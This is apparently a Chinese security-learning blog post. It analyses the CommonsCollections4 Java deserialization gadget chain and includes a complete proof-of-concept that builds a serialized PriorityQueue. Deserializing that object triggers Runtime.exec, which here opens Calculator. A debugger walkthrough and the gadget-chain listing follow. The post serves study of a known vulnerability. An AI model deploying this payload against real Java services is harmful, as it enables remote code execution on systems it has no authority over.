CommonsCollection4反序列化鏈學習

akka1發表於2022-04-02

CommonsCollection4

1、前置知識

由於cc4沒有新的知識點,主要是用cc2,然後稍微cc3結合了,所以我們可以看ysoserial原始碼,自己嘗試構造一下,把cc2通過獲取InvokeTransformer()獲取templatesImpl的newtransformer()方法,改成用cc3的InstantiateTransformer初始化。那就把跟cc2不同的程式碼學習下。

1.1、transformingComparator

與cc2最大的不容就是transformingComparator的構造方式不同,這裡是通過獲取InstantiateTransformer例項化TrAXFilter並且把templatesImpl惡意類傳入,其實就是InstantiateTransformer(templateImpl).transform(TrAXFilter)。而且這就是cc3所用的方式,所以cc3在cc4佔很少的部分,主要還是cc2

Transformer[] transformers=new Transformer[]{
        new ConstantTransformer(TrAXFilter.class),//第一個獲取TrAXFilter
        new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesImpl})//通過InstantiateTransformer的構造方法傳入我們的惡意類templatesImpl,呼叫其transform方法,例項化傳入的TrAXFilter,呼叫其構造方法。再呼叫newTransform

};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);//新建一個ChainedTransformer類,傳入我們的惡意transformers,只要呼叫transform方法就會反射執行我們的傳入的惡意傳入我們的惡意transformers

TransformingComparator transformingComparator = new TransformingComparator<>(chainedTransformer);

2、PoC分析

2.1、Poc

import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class CommonsCollection4 {


    public static void main(String[] args) throws Exception {
        String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
        String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";

        ClassPool classPool=ClassPool.getDefault();//返回預設的類池
        classPool.appendClassPath(AbstractTranslet);//新增AbstractTranslet的搜尋路徑
        CtClass payload=classPool.makeClass("com/akkacloud/CommonsCollection2Test");//建立一個新的public類
        payload.setSuperclass(classPool.get(AbstractTranslet));  //設定前面建立的CommonsCollections22222222222類的父類為AbstractTranslet
        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\");"); //建立一個空的類初始化,設定建構函式主體為runtime

        //payload.writeFile("/Users/akka/Documents/study/JAVA-project/ysoserial/CommonsColection2/src/main/java");
        byte[] bytes=payload.toBytecode();//轉換為byte陣列
        //String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
        Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();//反射建立TemplatesImpl
        Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");//反射獲取templatesImpl的_bytecodes欄位
        field.setAccessible(true);//暴力反射
        field.set(templatesImpl,new byte[][]{bytes});//將templatesImpl上的_bytecodes欄位設定為runtime的byte陣列

        Field field1=templatesImpl.getClass().getDeclaredField("_name");//反射獲取templatesImpl的_name欄位
        field1.setAccessible(true);//暴力反射
        field1.set(templatesImpl,"test");//將templatesImpl上的_name欄位設定為test

/*        Method getTransletName = templatesImpl.getClass().getDeclaredMethod("getTransletName", new Class[]{});
        getTransletName.setAccessible(true);
        Object name = getTransletName.invoke(templatesImpl, new Object[]{});
        System.out.println(name.toString());

        Method getTransletBytecodes = templatesImpl.getClass().getDeclaredMethod("getTransletBytecodes", new Class[]{});
        getTransletBytecodes.setAccessible(true);
        byte[][] bytes1 = (byte[][]) getTransletBytecodes.invoke(templatesImpl, new Object[]{});
        for (int i = 0; i < bytes1.length; i++) {
            System.out.println(bytes1.length);
            System.out.println(Arrays.toString(bytes1[i]));
        }*/

        Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),//第一個獲取TrAXFilter
                new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesImpl})//通過InstantiateTransformer的構造方法傳入我們的惡意類templatesImpl,呼叫其transform方法,例項化傳入的TrAXFilter,呼叫其構造方法。再呼叫newTransform

        };
        ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);//新建一個ChainedTransformer類,傳入我們的惡意transformers,只要呼叫transform方法就會反射執行我們的傳入的惡意傳入我們的惡意transformers

        TransformingComparator transformingComparator = new TransformingComparator<>(chainedTransformer);

        PriorityQueue priorityQueue = new PriorityQueue(2);//使用指定的初始容量建立一個 PriorityQueue,並根據其自然順序對元素進行排序。
        priorityQueue.add(1);//新增數字1插入此優先順序佇列
        priorityQueue.add(1);//新增數字1插入此優先順序佇列

        Field field2=priorityQueue.getClass().getDeclaredField("comparator");//獲取PriorityQueue的comparator欄位
        field2.setAccessible(true);//暴力反射
        field2.set(priorityQueue,transformingComparator);//設定priorityQueue的comparator屬性值為transformingComparator

        ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.ser"));
        outputStream.writeObject(priorityQueue);
        outputStream.close();

        ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.ser"));
        inputStream.readObject();




    }
}

image-20220402172430947

2.2、poc除錯

在PriorityQueue的readObject打斷點,發現佇列內就是兩個數字,進入heapify()

image-20220402173935322

因為在poc中我們沒對queue欄位賦值,所以queue裡面就是兩個數字,繼續跟入siteDown()

image-20220402174048928

發現x就是queue為空,與cc2此時的x為templatImpl,繼續進入siftDownUsingComparator

image-20220402174156894

進入發現,通過comparator.compare(),這個comparator就是我們的惡意TransformingComparator

image-20220402174458773

進入發現TransformingComparator的compare方法裡,用this.transformer呼叫了transform方法,此時的this.transformer是我們傳入的ChainedTransformer,鏈式呼叫transform

image-20220402174643988

進入後看到第一個是ConstantTransformer,繼續跟進transform方法

image-20220402174941276

返回我們一開始構造的TrAXFilter.class

image-20220402175131054

第二遍是進入InstantiateTransformer ,object為我們上次迴圈獲取TrAXFilter.class.繼續跟進transform()

image-20220402175204973

這個transform就是例項化傳入的object既TrAXFilter,而且傳入的引數值為我們一起開始建立的惡意載入位元組類TransformerImpl

image-20220402175401025

進入TrAXFilter的構造方法,傳入的TransformerImpl被賦值給了templates,templates呼叫newTransformer方法,繼續跟進

image-20220402175936574

TransformerImpl的newTransformer方法,會呼叫本類的getTransletInstance方法,繼續跟進

image-20220402180136751

發現會繼續呼叫defineTransletClasses(),繼續跟進

image-20220402180304793

進入defineTransletClasses方法後發現,會把我們前面構造的_bytecodes[i]傳輸給_class[i],飯後返回到getTransletInstance方法

image-20220402180422324

然後在getTransletInstance方法後,例項化我們傳入的_class[i]惡意類》TemplatesImpl》CommonsCollection2Test.

image-20220402180625606

例項化就會呼叫我們一開始設定的靜態程式碼塊,造成RCE

image-20220402180830689

2.3、利用鏈

Gadget chain:
		ObjectInputStream.readObject()
			PriorityQueue.readObject()
        PriorityQueue.heapify()
          PriorityQueue.siftDown()
            PriorityQueue.siftDownUsingComparator()
              ...
                TransformingComparator.compare()
                  InstantiateTransformer.transform()
                    Method.invoke()
                      Runtime.exec()


2.4、思維導圖

image-20220402181930015

2.5、結束

cc4鏈還是比較簡單,我繼續每一步除錯的原因就是可以更好的複習前面學習的鏈,我cc2和cc4用的是commonscollection4依賴版本才成功,cc1、cc3和cc5是用的jdk8u66才成功的

相關文章